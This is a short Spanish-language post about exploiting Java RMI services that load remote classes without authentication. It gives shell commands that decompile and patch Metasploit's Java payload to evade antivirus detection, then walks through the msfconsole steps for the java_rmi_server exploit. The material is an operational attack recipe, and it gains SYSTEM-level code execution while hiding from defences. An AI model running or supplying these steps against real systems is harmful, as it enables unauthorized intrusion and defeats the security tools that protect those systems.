Explotación de carga de clases de Java RMI con evasión de antivirus

Los servicios Java Remote Method Invocation (RMI) se utilizan en las aplicaciones para permitir que los objetos Java se puedan utilizar desde una ubicación remota sin necesidad de utilizar ningún tipo de autenticación.

Si un cliente invoca la llamada a un método remoto, se pasa al servicio RMI toda la información del objeto Java para que luego sea ejecutado. Al pasar el objeto, el cliente también puede utilizar un cargador de clases que especifica dónde se puede encontrar el código de Java para manipular el objeto, que suele ser una URL apuntando a un archivo Jar. Sin autenticación o verificación, el servidor descarga el objeto Java y lo ejecuta con los mismos permisos que el servicio Java RMI (generalmente SYSTEM).

Cualquiera puede tomar ventaja de este servicio RMI para cargar y ejecutar código Java en el sistema. Además se puede hacer usando Metasploit (busca java_rmi) y para la evasión del antivirus es posible hacer algunos pequeños cambios:

cd /usr/share/metasploit-framework/data/java/metasploit/
cp Payload.class Payload-backup.class
jad Payload.class
sed -i ‘s/spawn/runme/’ Payload.jad
mv Payload.jad to Payload.java
javac Payload.java

msf > use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > show targets
...objetivos...
msf exploit(java_rmi_server) > set TARGET
msf exploit(java_rmi_server) > show options
...muestra y configura opciones...
msf exploit(java_rmi_server) > exploit


Fuente: JavaRMI Remote Class Loading Exploitation with AV Bypass

Comentarios